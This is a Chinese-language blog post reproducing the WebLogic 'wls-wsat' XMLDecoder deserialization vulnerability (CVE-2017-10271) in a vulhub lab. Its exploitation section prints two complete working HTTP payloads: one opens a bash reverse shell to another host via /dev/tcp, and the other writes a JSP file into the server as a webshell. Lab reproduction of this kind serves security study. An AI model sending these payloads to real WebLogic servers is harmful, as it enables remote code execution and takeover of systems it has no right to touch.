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<h3 id="【研究】weblogic漏洞系列-‘wls-wsat’-XMLDecoder-反序列化漏洞（CVE-2017-10271）"><a href="#【研究】weblogic漏洞系列-‘wls-wsat’-XMLDecoder-反序列化漏洞（CVE-2017-10271）" class="headerlink" title="【研究】weblogic漏洞系列- ‘wls-wsat’ XMLDecoder 反序列化漏洞（CVE-2017-10271）"></a>【研究】weblogic漏洞系列- ‘wls-wsat’ XMLDecoder 反序列化漏洞（CVE-2017-10271）</h3><ul>
<li><ul>
<li><a href="#1_2">1.环境</a></li>
<li><a href="#2_7">2.原理</a></li>
<li><a href="#3_13">3.影响版本</a></li>
<li><a href="#4_19">4.利用过程</a></li>
</ul>
</li>
</ul>
<h2 id="1-环境"><a href="#1-环境" class="headerlink" title="1.环境"></a>1.环境</h2><p>环境<br><a target="_blank" rel="noopener" href="https://github.com/vulhub/vulhub/blob/master/README.zh-cn.md">https://github.com/vulhub/vulhub/blob/master/README.zh-cn.md</a><br>这个搭环境很方便快捷，具体可以看说明，很简单</p>
<h2 id="2-原理"><a href="#2-原理" class="headerlink" title="2.原理"></a>2.原理</h2><p>Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令</p>
<h2 id="3-影响版本"><a href="#3-影响版本" class="headerlink" title="3.影响版本"></a>3.影响版本</h2><p>Oracle WebLogic Server 10.3.6.0.0版本</p>
<p>Oracle WebLogic Server 12.1.3.0.0版本</p>
<p>Oracle WebLogic Server 12.2.1.1.0版本</p>
<h2 id="4-利用过程"><a href="#4-利用过程" class="headerlink" title="4.利用过程"></a>4.利用过程</h2><p>POC反弹shell<br>反弹shell的语句，需要进行编码，，否则解析XML的时候将出现格式错误</p>
<p><strong>注意实验环境不能只有ip 还有端口 10.77.0.130:7001</strong></p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">POST /wls-wsat/CoordinatorPortType HTTP/1.1</span><br><span class="line">Host: 10.77.0.130:7001</span><br><span class="line">Accept-Encoding: gzip, deflate</span><br><span class="line">Accept: */*</span><br><span class="line">Accept-Language: en</span><br><span class="line">User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)</span><br><span class="line">Connection: close</span><br><span class="line">Content-Type: text/xml</span><br><span class="line">Content-Length: 634</span><br><span class="line"></span><br><span class="line">&lt;soapenv:Envelope xmlns:soapenv=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot;&gt; &lt;soapenv:Header&gt;</span><br><span class="line">&lt;work:WorkContext xmlns:work=&quot;http://bea.com/2004/06/soap/workarea/&quot;&gt;</span><br><span class="line">&lt;java version=&quot;1.4.0&quot; class=&quot;java.beans.XMLDecoder&quot;&gt;</span><br><span class="line">&lt;void class=&quot;java.lang.ProcessBuilder&quot;&gt;</span><br><span class="line">&lt;array class=&quot;java.lang.String&quot; length=&quot;3&quot;&gt;</span><br><span class="line">&lt;void index=&quot;0&quot;&gt;</span><br><span class="line">&lt;string&gt;/bin/bash&lt;/string&gt;</span><br><span class="line">&lt;/void&gt;</span><br><span class="line">&lt;void index=&quot;1&quot;&gt;</span><br><span class="line">&lt;string&gt;-c&lt;/string&gt;</span><br><span class="line">&lt;/void&gt;</span><br><span class="line">&lt;void index=&quot;2&quot;&gt;</span><br><span class="line">&lt;string&gt;bash -i &amp;gt;&amp;amp; /dev/tcp/10.77.0.58/666 0&amp;gt;&amp;amp;1&lt;/string&gt;</span><br><span class="line">&lt;/void&gt;</span><br><span class="line">&lt;/array&gt;</span><br><span class="line">&lt;void method=&quot;start&quot;/&gt;&lt;/void&gt;</span><br><span class="line">&lt;/java&gt;</span><br><span class="line">&lt;/work:WorkContext&gt;</span><br><span class="line">&lt;/soapenv:Header&gt;</span><br><span class="line">&lt;soapenv:Body/&gt;</span><br><span class="line">&lt;/soapenv:Envelope&gt;</span><br></pre></td></tr></table></figure>

<p>反弹SHell成功<br><img src="https://img-blog.csdnimg.cn/20190815164715796.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2dvZF96elo=,size_16,color_FFFFFF,t_70" alt="在这里插入图片描述"><br>访问：<a target="_blank" rel="noopener" href="http://your-ip:7001/bea/_wls/_internal/test.jsp">http://your-ip:7001/bea\_wls\_internal/test.jsp</a><br>写入webshell的POC<br>servers&#x2F;AdminServer&#x2F;tmp&#x2F;_WL_internal&#x2F;bea_wls_internal&#x2F;9j4dqk&#x2F;war&#x2F;test.txt写文件。<br>文件名称为xxxx文件内容为xxxx<br>成功发送请求之后服务器会返回 500 status code。<br>需要注意的地方是头部必须加上Content-Type: text&#x2F;xml请求会出错。</p>
<p><strong>注意实验环境不能只有ip 还有端口 10.77.0.130:7001</strong></p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">POST /wls-wsat/CoordinatorPortType HTTP/1.1</span><br><span class="line">Host: your-ip:7001</span><br><span class="line">Accept-Encoding: gzip, deflate</span><br><span class="line">Accept: */*</span><br><span class="line">Accept-Language: en</span><br><span class="line">User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)</span><br><span class="line">Connection: close</span><br><span class="line">Content-Type: text/xml</span><br><span class="line">Content-Length: 638</span><br><span class="line"></span><br><span class="line">&lt;soapenv:Envelope xmlns:soapenv=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot;&gt;</span><br><span class="line">    &lt;soapenv:Header&gt;</span><br><span class="line">    &lt;work:WorkContext xmlns:work=&quot;http://bea.com/2004/06/soap/workarea/&quot;&gt;</span><br><span class="line">    &lt;java&gt;&lt;java version=&quot;1.4.0&quot; class=&quot;java.beans.XMLDecoder&quot;&gt;</span><br><span class="line">    &lt;object class=&quot;java.io.PrintWriter&quot;&gt; </span><br><span class="line">    &lt;string&gt;servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp&lt;/string&gt;</span><br><span class="line">    &lt;void method=&quot;println&quot;&gt;&lt;string&gt;</span><br><span class="line">    &lt;![CDATA[</span><br><span class="line">&lt;% out.print(&quot;test&quot;); %&gt;</span><br><span class="line">    ]]&gt;</span><br><span class="line">    &lt;/string&gt;</span><br><span class="line">    &lt;/void&gt;</span><br><span class="line">    &lt;void method=&quot;close&quot;/&gt;</span><br><span class="line">    &lt;/object&gt;&lt;/java&gt;&lt;/java&gt;</span><br><span class="line">    &lt;/work:WorkContext&gt;</span><br><span class="line">    &lt;/soapenv:Header&gt;</span><br><span class="line">    &lt;soapenv:Body/&gt;</span><br><span class="line">&lt;/soapenv:Envelope&gt;</span><br></pre></td></tr></table></figure>

<p><img src="https://img-blog.csdnimg.cn/2019081517241877.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2dvZF96elo=,size_16,color_FFFFFF,t_70" alt="在这里插入图片描述"><br>上传路径为<a target="_blank" rel="noopener" href="http://10.77.0.130:7001/bea/_wls/_internal/tt.jsp">http://10.77.0.130:7001/bea\_wls\_internal/tt.jsp</a></p>
<p><img src="https://img-blog.csdnimg.cn/20190815172826461.png" alt="在这里插入图片描述"></p>
<p>注意实验环境不能只有ip 还有端口 10.77.0.130:7001</p>
<p>注意实验环境不能只有ip 还有端口 10.77.0.130:7001</p>
</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta">文章作者: </span><span class="post-copyright-info"><a href="https://godzeo.github.io">Zeo</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta">文章链接: </span><span class="post-copyright-info"><a href="https://godzeo.github.io/2019/08/15/%E3%80%90%E7%A0%94%E7%A9%B6%E3%80%91weblogic%E6%BC%8F%E6%B4%9E%E7%B3%BB%E5%88%97XMLDecoder%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2017-10271%EF%BC%89/">https://godzeo.github.io/2019/08/15/%E3%80%90%E7%A0%94%E7%A9%B6%E3%80%91weblogic%E6%BC%8F%E6%B4%9E%E7%B3%BB%E5%88%97XMLDecoder%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2017-10271%EF%BC%89/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta">版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC 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